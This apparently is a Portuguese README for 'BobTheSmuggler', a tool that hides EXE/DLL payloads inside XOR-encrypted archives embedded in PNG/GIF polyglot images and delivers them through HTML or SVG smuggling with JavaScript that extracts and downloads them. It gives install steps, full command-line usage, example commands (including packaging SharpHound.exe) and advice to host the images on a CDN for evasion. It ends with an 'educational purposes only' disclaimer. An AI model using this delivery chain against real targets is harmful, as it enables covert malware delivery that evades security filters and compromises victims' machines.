
"Bob the Smuggler": Uma ferramenta que utiliza o Ataque de Contrabando HTML (HTML Smuggling Attack) e permite criar arquivos HTML com arquivos 7z/zip incorporados. A ferramenta comprime seu binário (EXE/DLL) no formato de arquivo 7z/zip, em seguida, criptografa o arquivo com XOR e o oculta dentro do formato de imagem PNG/GIF (Poliglotas de Imagem).

15 de janeiro de 2024 - Suporte para compressão de múltiplos arquivos foi adicionado. Se você tiver vários arquivos gerados para seu payload final (por exemplo, arquivos de DLL-Sideloading ou arquivos de entrega em vários estágios), agora você pode usar a opção '-i' para especificar o caminho do diretório. Se um caminho de diretório for fornecido, o BobTheSmuggler arquivará automaticamente todos os arquivos nesse diretório, criptografará o arquivo com XOR e o incorporará dentro de PNG/GIF.
Confira meu blog para obter uma compreensão aprofundada de como usar esta ferramenta: BobTheSmuggler: Your Covert Cyber Swiss Knife for Undetectable Payload Delivery.
"Bob the Smuggler" é uma ferramenta que aproveita o Ataque de Contrabando HTML e permite criar arquivos HTML com arquivos 7z/zip incorporados. A ferramenta comprime seu binário (EXE/DLL) no formato de arquivo 7z/zip, em seguida criptografa o arquivo com XOR e o oculta dentro do formato de arquivo de imagem PNG/GIF (Image Polyglots). O JavaScript incorporado no HTML baixará o arquivo PNG/GIF e o armazenará no cache. Em seguida, o JavaScript extrairá os dados incorporados no PNG/GIF, os montará, realizará a descriptografia XOR e os armazenará como um blob em memória.

Esta ferramenta atualmente suporta as seguintes cadeias de entrega de payload:
Antes de executar a ferramenta, você precisa dos seguintes pré-requisitos:
pip install python-magic py7zr pyminizip
Nota: Para instalar o python-magic, você precisará instalar a biblioteca libmagic em seu sistema. Siga esta URL para instalar a biblioteca libmagic: https://pypi.org/project/python-magic/
Assim que as bibliotecas necessárias estiverem instaladas, você pode prosseguir com a instalação da ferramenta usando os seguintes comandos:
git clone https://github.com/TheCyb3rAlpha/BobTheSmuggler.git
cd BobTheSmuggler
Uma vez instalado, você pode usar a ferramenta executando o seguinte comando:
python3 BobTheSmuggler.py -h

======================================================================
██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔══██╗ ╚══██╔══╝██║ ██║██╔════╝
██████╔╝██║ ██║██████╔╝ ██║ ███████║█████╗
██╔══██╗██║ ██║██╔══██╗ ██║ ██╔══██║██╔══╝
██████╔╝╚██████╔╝██████╔╝ ██║ ██║ ██║███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
███████╗███╗ ███╗██╗ ██╗ ██████╗ ██████╗ ██╗ ███████╗██████╗
██╔════╝████╗ ████║██║ ██║██╔════╝ ██╔════╝ ██║ ██╔════╝██╔══██╗
███████╗██╔████╔██║██║ ██║██║ ███╗██║ ███╗██║ █████╗ ██████╔╝
╚════██║██║╚██╔╝██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ██╔══██╗
███████║██║ ╚═╝ ██║╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗██║ ██║
╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
======================================================================
usage: BobTheSmuggler.py [-h] -i EXE_FILE [-p PASSWORD] -f OUTPUT_HTML -o OUTPUT_FILENAME -t {html,svg,png,gif} [-c {7z,zip}] [-u PNG_URL] [-png PNG_FILE] [-gif GIF_FILE] [-e CUSTOM_FILE] [-v]
Hides EXE/DLL file inside an HTML/SVG file.
optional arguments:
-h, --help show this help message and exit
-i EXE_FILE Path to the EXE/DLL file.
-p PASSWORD Password for compression.
-f OUTPUT_HTML HTML Smuggled file (.html)
-o OUTPUT_FILENAME Downloaded file name (Your payload is in this file.)
-t {html,svg,png,gif} Type of embedded template.
-c {7z,zip} Compression format: 7z or zip (default: zip)
-u PNG_URL URL for the embedded PNG image.
-png PNG_FILE Path to the PNG file for embedding EXE/DLL.
-gif GIF_FILE Path to the GIF file for embedding EXE/DLL.
-e CUSTOM_FILE HTML file to clone as template.
-v, --verbose Enable verbose logging.
Se você deseja compactar o SharpHound.exe no formato 7z (protegido por senha) e armazená-lo em um arquivo HTML, pode usar o seguinte comando:
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html

Para criar um arquivo HTML com o payload incorporado oculto dentro do arquivo PNG, você pode usar o seguinte comando:
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t png test.png

NOTA: Certifique-se de hospedar os arquivos PNG/GIF em uma CDN. (Recomendado: Você deve usar a opção -u para fornecer a URL da CDN onde hospedará o arquivo PNG/GIF). Para fins de teste, você pode usar o aplicativo flask (app.py) que hospedará banner.gif e banner.png em localhost:8000
Da mesma forma, você pode usar o seguinte comando para criar um arquivo HTML com o payload incorporado oculto dentro do arquivo GIF:
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t gif test.gif

Uma vez que a imagem final (PNG/GIF) é gerada, o tamanho da imagem aumentará porque conterá seu arquivo incorporado.

Uma cadeia simples com uma abordagem diferente. Seu EXE/DLL é compactado para arquivo .7z/.zip, em seguida, é armazenado dentro de um arquivo PNG/GIF. O PNG/GIF é chamado pelo JS dentro do arquivo SVG que está incorporado no HTML. Uma vez que o JS é chamado, ele baixa o arquivo PNG/ZIP, extrai os dados compactados XORed dos chunks da imagem, descriptografa o arquivo e invoca a funcionalidade de download.
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t svg -e <Custom_SVG_Template>
Os seguintes templates foram adicionados a este projeto:

Esta ferramenta destina-se exclusivamente a fins educacionais. Os usuários são aconselhados a utilizá-la apenas de uma forma que promova o aprendizado e a compreensão. O autor desta ferramenta isenta-se expressamente de qualquer responsabilidade por seu uso além de contextos educacionais. Os usuários que optarem por empregar esta ferramenta para fins que não sejam educacionais o fazem por sua própria conta e risco, e o autor não será responsabilizado por quaisquer consequências decorrentes de tal uso.